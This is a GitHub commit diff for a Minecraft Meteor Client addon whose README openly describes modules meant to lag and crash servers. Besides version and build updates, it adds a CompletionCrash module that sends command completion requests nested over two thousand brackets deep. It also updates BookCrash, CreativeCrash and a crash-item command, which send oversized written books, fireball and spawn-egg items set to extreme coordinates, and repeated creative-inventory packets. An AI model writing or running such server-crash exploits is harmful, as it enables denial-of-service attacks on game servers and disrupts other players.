Skip to content

Commit 0d64cc1

Browse files
authored
add WindowCrash, CompletionCrash + update to 1.20.6 (#24)
* add WindowCrash * register WindowCrash * Add CompletionCrash * Update 1.20.4 * Update 1.20.6 * Update gradle.yml
1 parent 8aed153 commit 0d64cc1

File tree

11 files changed

+147
-27
lines changed

11 files changed

+147
-27
lines changed

.github/workflows/gradle.yml

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -18,10 +18,10 @@ jobs:
1818
runs-on: ubuntu-latest
1919
steps:
2020
- uses: actions/checkout@v2
21-
- name: Set up JDK 17
21+
- name: Set up JDK 21
2222
uses: actions/setup-java@v2
2323
with:
24-
java-version: 17
24+
java-version: 21
2525
distribution: 'zulu'
2626
- name: Grant execute permission for gradlew
2727
run: chmod +x gradlew
@@ -32,8 +32,8 @@ jobs:
3232
- uses: "marvinpinto/action-automatic-releases@latest"
3333
with:
3434
repo_token: "${{ secrets.GITHUB_TOKEN }}"
35-
automatic_release_tag: "latest-1.20.2"
35+
automatic_release_tag: "latest-1.20.6"
3636
prerelease: false
37-
title: "1.20.2 Build"
37+
title: "1.20.6 Build"
3838
files: |
3939
./build/libs/*.jar

README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,8 +7,8 @@ An addon to Meteor Client that adds various modules designed to lag and crash se
77
</p>
88
<div align="center">
99
<a href="https://anticope.github.io/meteor-lists/pages/MeteorAddons.html"><img src="https://img.shields.io/badge/Verified%20Addon-Yes-blueviolet" alt="Verified Addon"><a/>
10-
<img src="https://img.shields.io/badge/Version-v0.2-orange" alt="Version">
11-
<img src="https://img.shields.io/badge/Minecraft%20Version-1.18.2-blue" alt="Minecraft Version">
10+
<img src="https://img.shields.io/badge/Version-v0.6-orange" alt="Version">
11+
<img src="https://img.shields.io/badge/Minecraft%20Version-1.20.6-blue" alt="Minecraft Version">
1212
<img src="https://img.shields.io/github/last-commit/AntiCope/meteor-crash-addon?logo=git" alt="Last commit">
1313
<img src="https://img.shields.io/github/workflow/status/AntiCope/meteor-crash-addon/Java%20CI%20with%20Gradle?logo=github" alt="build status">
1414
<img src="https://img.shields.io/github/languages/code-size/AntiCope/meteor-crash-addon" alt="Code Size">

build.gradle

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
plugins {
2-
id 'fabric-loom' version '1.4-SNAPSHOT'
2+
id 'fabric-loom' version '1.6-SNAPSHOT'
33
id 'maven-publish'
44
}
55

6-
sourceCompatibility = targetCompatibility = JavaVersion.VERSION_17
6+
sourceCompatibility = targetCompatibility = JavaVersion.VERSION_21
77
archivesBaseName = project.archives_base_name
88
version = project.mod_version
99
group = project.maven_group
@@ -37,5 +37,5 @@ processResources {
3737

3838
tasks.withType(JavaCompile).configureEach {
3939
it.options.encoding = "UTF-8"
40-
it.options.release = 17
40+
it.options.release = 21
4141
}

gradle.properties

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
org.gradle.jvmargs=-Xmx2G
22

33
# Fabric Properties (https://fabricmc.net/develop/)
4-
minecraft_version=1.20.2
5-
yarn_mappings=1.20.2+build.4
6-
loader_version=0.14.23
4+
minecraft_version=1.20.6
5+
yarn_mappings=1.20.6+build.1
6+
loader_version=0.15.11
77

88
# Mod Properties
99
mod_version=0.6
1010
maven_group=Wide-Cat
1111
archives_base_name=meteor-crash-addon
1212

13-
meteor_version=0.5.5
13+
meteor_version=0.5.7
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
distributionBase=GRADLE_USER_HOME
22
distributionPath=wrapper/dists
3-
distributionUrl=https\://services.gradle.org/distributions/gradle-8.3-bin.zip
3+
distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip
44
zipStoreBase=GRADLE_USER_HOME
55
zipStorePath=wrapper/dists

src/main/java/widecat/meteorcrashaddon/CrashAddon.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,7 @@ public void onInitialize() {
2323
Modules.get().add(new AACCrash());
2424
Modules.get().add(new BookCrash());
2525
Modules.get().add(new ContainerCrash());
26+
Modules.get().add(new CompletionCrash());
2627
Modules.get().add(new CraftingCrash());
2728
Modules.get().add(new CreativeCrash());
2829
Modules.get().add(new EntityCrash());
@@ -33,6 +34,7 @@ public void onInitialize() {
3334
Modules.get().add(new MovementCrash());
3435
Modules.get().add(new PacketSpammer());
3536
Modules.get().add(new SequenceCrash());
37+
Modules.get().add(new WindowCrash());
3638

3739
Commands.add(new CrashItemCommand());
3840
}

src/main/java/widecat/meteorcrashaddon/commands/CrashItemCommand.java

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,8 @@
33
import com.mojang.brigadier.builder.LiteralArgumentBuilder;
44
import meteordevelopment.meteorclient.commands.Command;
55
import net.minecraft.command.CommandSource;
6+
import net.minecraft.component.DataComponentTypes;
7+
import net.minecraft.component.type.NbtComponent;
68
import net.minecraft.item.ItemStack;
79
import net.minecraft.item.Items;
810
import net.minecraft.nbt.NbtCompound;
@@ -30,7 +32,7 @@ public void build(LiteralArgumentBuilder<CommandSource> builder) {
3032
power.add(NbtDouble.of(0));
3133
tag1.putString("id", "minecraft:small_fireball");
3234
tag1.put("power", power);
33-
CrashFireball.setSubNbt("EntityTag", tag1);
35+
CrashFireball.set(DataComponentTypes.ENTITY_DATA, NbtComponent.of(tag1));
3436
CreativeInventoryActionC2SPacket balls = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, CrashFireball);
3537
mc.getNetworkHandler().sendPacket(balls);
3638
return SINGLE_SUCCESS;
@@ -40,11 +42,13 @@ public void build(LiteralArgumentBuilder<CommandSource> builder) {
4042
ItemStack gato = new ItemStack(Items.CAT_SPAWN_EGG);
4143
NbtCompound tag2 = new NbtCompound();
4244
NbtList pos = new NbtList();
45+
4346
pos.add(NbtDouble.of(2147483647));
4447
pos.add(NbtDouble.of(2147483647));
4548
pos.add(NbtDouble.of(2147483647));
49+
tag2.putString("id", "minecraft:small_fireball");
4650
tag2.put("Pos", pos);
47-
gato.setSubNbt("EntityTag", tag2);
51+
gato.set(DataComponentTypes.ENTITY_DATA, NbtComponent.of(tag2));
4852
CreativeInventoryActionC2SPacket elgato = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, gato);
4953
mc.getNetworkHandler().sendPacket(elgato);
5054
return SINGLE_SUCCESS;

src/main/java/widecat/meteorcrashaddon/modules/BookCrash.java

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -6,17 +6,19 @@
66
import meteordevelopment.meteorclient.systems.modules.Module;
77
import meteordevelopment.meteorclient.utils.Utils;
88
import meteordevelopment.orbit.EventHandler;
9+
import net.minecraft.component.DataComponentTypes;
10+
import net.minecraft.component.type.WrittenBookContentComponent;
911
import net.minecraft.item.ItemStack;
1012
import net.minecraft.item.Items;
11-
import net.minecraft.nbt.NbtCompound;
12-
import net.minecraft.nbt.NbtList;
13-
import net.minecraft.nbt.NbtString;
1413
import net.minecraft.network.packet.c2s.play.BookUpdateC2SPacket;
1514
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
15+
import net.minecraft.text.RawFilteredPair;
16+
import net.minecraft.text.Text;
1617
import org.apache.commons.lang3.RandomStringUtils;
1718
import widecat.meteorcrashaddon.CrashAddon;
1819

1920
import java.util.ArrayList;
21+
import java.util.List;
2022
import java.util.Optional;
2123

2224
public class BookCrash extends Module {
@@ -78,15 +80,14 @@ private void sendBadBook() {
7880
}
7981
slot++;
8082
ItemStack book = new ItemStack(Items.WRITTEN_BOOK, 1);
81-
NbtCompound tag = new NbtCompound();
82-
NbtList list = new NbtList();
83+
List<RawFilteredPair<Text>> list = new ArrayList<>();
8384
for (int j = 0; j < 99; j++) {
84-
list.add(NbtString.of("{\"text\":" + RandomStringUtils.randomAlphabetic(200) + "\"}"));
85+
list.add(RawFilteredPair.of(Text.of(RandomStringUtils.randomAlphabetic(200))));
8586
}
86-
tag.put("author", NbtString.of(RandomStringUtils.randomAlphabetic(9000)));
87-
tag.put("title", NbtString.of(RandomStringUtils.randomAlphabetic(25564)));
88-
tag.put("pages", list);
89-
book.setNbt(tag);
87+
WrittenBookContentComponent component = book.get(DataComponentTypes.WRITTEN_BOOK_CONTENT);
88+
WrittenBookContentComponent newComponent = new WrittenBookContentComponent(RawFilteredPair.of(RandomStringUtils.randomAlphabetic(9000)), RandomStringUtils.randomAlphabetic(25564), component.generation(), list, component.resolved());
89+
book.set(DataComponentTypes.WRITTEN_BOOK_CONTENT, newComponent);
90+
9091
mc.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(slot, book));
9192
}
9293
}
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
package widecat.meteorcrashaddon.modules;
2+
3+
import meteordevelopment.meteorclient.events.world.TickEvent;
4+
import meteordevelopment.meteorclient.settings.IntSetting;
5+
import meteordevelopment.meteorclient.settings.Setting;
6+
import meteordevelopment.meteorclient.settings.SettingGroup;
7+
import meteordevelopment.meteorclient.systems.modules.Module;
8+
import meteordevelopment.orbit.EventHandler;
9+
import net.minecraft.client.MinecraftClient;
10+
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket;
11+
import widecat.meteorcrashaddon.CrashAddon;
12+
13+
import java.util.stream.Collectors;
14+
import java.util.stream.IntStream;
15+
16+
public class CompletionCrash extends Module {
17+
private final SettingGroup sgGeneral = settings.createGroup("Rate");
18+
19+
public CompletionCrash() {
20+
super(CrashAddon.CATEGORY, "CompletionCrash", "Funny Completion");
21+
}
22+
23+
private int length = 2032;
24+
25+
private final Setting<Integer> packets = sgGeneral.add(new IntSetting.Builder()
26+
.name("Packets per tick")
27+
.description("Amount of packets sent each tick")
28+
.defaultValue(3)
29+
.min(2)
30+
.sliderMax(12)
31+
.build()
32+
);
33+
34+
@EventHandler
35+
private void onTick(TickEvent.Post event) {
36+
37+
String overflow = generateJsonObject(length);
38+
String message = "msg @a[nbt={PAYLOAD}]";
39+
String partialCommand = message.replace("{PAYLOAD}", overflow);
40+
for (int i = 0; i < packets.get(); i++) {
41+
MinecraftClient.getInstance().player.networkHandler.sendPacket(new RequestCommandCompletionsC2SPacket(0, partialCommand));
42+
}
43+
this.toggle();
44+
}
45+
46+
private String generateJsonObject(int levels) {
47+
String in = IntStream.range(0, levels)
48+
.mapToObj(i -> "[")
49+
.collect(Collectors.joining());
50+
return "{a:" + in + "}";
51+
}
52+
}

src/main/java/widecat/meteorcrashaddon/modules/CreativeCrash.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,8 @@
88
import meteordevelopment.meteorclient.settings.SettingGroup;
99
import meteordevelopment.meteorclient.systems.modules.Module;
1010
import meteordevelopment.orbit.EventHandler;
11+
import net.minecraft.component.DataComponentTypes;
12+
import net.minecraft.component.type.NbtComponent;
1113
import net.minecraft.item.ItemStack;
1214
import net.minecraft.item.Items;
1315
import net.minecraft.nbt.NbtCompound;
@@ -54,8 +56,10 @@ private void onTick(TickEvent.Post event) {
5456
list.add(NbtDouble.of(pos.x));
5557
list.add(NbtDouble.of(pos.y));
5658
list.add(NbtDouble.of(pos.z));
59+
//idk
60+
tag.putString("id", "minecraft:small_fireball");
5761
tag.put("Pos", list);
58-
the.setSubNbt("BlockEntityTag", tag);
62+
the.set(DataComponentTypes.BLOCK_ENTITY_DATA, NbtComponent.of(tag));
5963
for (int i = 0; i < amount.get(); i++) {
6064
mc.getNetworkHandler().sendPacket(new CreativeInventoryActionC2SPacket(1, the));
6165
}

0 commit comments

Comments
 (0)